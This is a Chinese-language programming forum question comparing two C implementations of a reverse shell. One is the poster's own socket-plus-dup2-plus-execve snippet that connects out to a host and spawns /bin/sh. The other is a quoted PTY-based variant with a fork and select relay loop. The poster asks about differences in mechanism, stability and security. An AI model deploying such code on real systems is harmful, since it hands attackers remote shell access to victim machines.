问题遇到的现象和发生背景
反弹Shell的编程问题
问题相关代码,请勿粘贴截图
在写代码的时候都尽可能简单和直接,我的编程方法:
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in stRemoteAddr = {0};
socklen_t socklen = 0;
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
#ifdef DEBUG
check(0, "redirectShell...\n");
#endif
if (sock < 0)
exit(0);
char *argv[] = {"sh", "-i", NULL};
char *envp[] = {0, NULL};
stRemoteAddr.sin_family = AF_INET;
stRemoteAddr.sin_addr.s_addr = hostIP;
stRemoteAddr.sin_port = htons(hostPort);
if ((connect(sock, (struct sockaddr_in *)&stRemoteAddr, sizeof(stRemoteAddr))) < 0)
exit(0);
sleep(1);
execve("/bin/sh", argv, envp);
close(sock);
然后我看别人的代码,是这么写的,只放相关代码
fd_set rd;
struct winsize ws;
char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n;
if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 )
{
return( 24 );
}
slave = ttyname( tty );
if( slave == NULL )
{
return( 25 );
}
……
if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 )
{
return( 40 );
}
……
pid = fork();
if( pid < 0 )
{
return( 43 );
}
if( pid == 0 )
{
close( client );
close( pty );
if( setsid() < 0 )
{
return( 44 );
}
if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
{
return( 45 );
}
dup2( tty, 0 );
dup2( tty, 1 );
dup2( tty, 2 );
if( tty > 2 )
{
close( tty );
}
execl( shell, shell + 5, "-c", temp, (char *) 0 );
}
else
{ /* Parent process*/
while( 1 )
{
FD_ZERO( &rd );
FD_SET( client, &rd );
FD_SET( pty, &rd );
n = ( pty > client ) ? pty : client;
if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
{
return( 49 );
}
if( FD_ISSET( client, &rd ) )
{
……
}
if( FD_ISSET( pty, &rd ) )
{
……
}
}
}
运行结果及报错内容
在运行效果上,两者并没有什么差异,都能成功交互
我的解答思路和尝试过的方法
我的问题是,我的第一种编程方法和第二种编程方法在实现原理上、稳定上、安全性上等方面是有什么差别?